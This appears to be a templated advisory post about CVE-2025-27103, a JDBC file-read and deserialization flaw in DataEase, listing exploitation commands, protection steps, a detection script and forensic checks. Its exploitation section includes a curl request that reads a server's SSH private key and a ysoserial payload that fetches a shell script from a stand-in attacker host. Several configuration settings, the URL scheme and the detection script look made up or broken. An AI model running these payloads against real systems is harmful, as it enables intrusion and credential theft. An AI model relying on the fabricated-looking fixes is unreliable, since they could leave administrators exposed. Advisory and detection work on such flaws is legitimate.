How CVE-2025-27103 Works
CVE-2025-27103 is a critical vulnerability in DataEase (prior to v2.10.6) that allows authenticated attackers to bypass the patch for CVE-2024-55953. The flaw exists in the background JDBC connection handler, where insufficient validation of user-supplied input enables arbitrary file read and deserialization attacks. Attackers can manipulate JDBC parameters to force the application to load and deserialize malicious files from the server filesystem, leading to remote code execution (RCE) or sensitive data exposure. The deserialization process occurs insecurely, allowing Java object injection.
DailyCVE Form
Platform: DataEase
Version: <2.10.6
Vulnerability: Arbitrary File Read/Deserialization
Severity: Critical
Date: 03/28/2025
What Undercode Say:
Exploitation Commands
1. Craft Malicious JDBC Payload
jdbc:dae:file:///etc/passwd
2. Trigger Deserialization
curl -X POST 'http://target/api/jdbc' -d '{"connection":"jdbc:dae:file:///root/.ssh/id_rsa"}'
3. Exploit with ysoserial
java -jar ysoserial.jar CommonsCollections5 'curl attacker.com/shell.sh' > payload.bin
Protection Measures
1. Patch Upgrade
wget https://dataease.io/download/v2.10.6 -O dataease-upgrade.pkg
2. Disable Risky Features
dataease.conf disable.jdbc.deserialization=true
3. Network Restriction
iptables -A INPUT -p tcp --dport 8080 ! -s trusted_ip -j DROP
Detection Script
import requests
vuln_endpoint = "/api/jdbc"
response = requests.post(f"http://target{vuln_endpoint}", json={"connection":"jdbc:dae:file:///dev/null"})
if "FileNotFoundException" not in response.text:
print("Vulnerable to CVE-2025-27103")
Log Analysis
grep "java.io.FileInputStream" /var/log/dataease/error.log
Mitigation Workaround
<!-- web.xml --> <context-param> <param-name>jdbc.strict.validation</param-name> <param-value>true</param-value> </context-param>
Forensic Artifacts
1. Malicious JDBC Logs
cat /var/log/dataease/jdbc_audit.log | grep "file://"
2. Deserialized Payloads
strings /tmp/dataease_cache/.ser
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-27103
Extra Source Hub:
Undercode
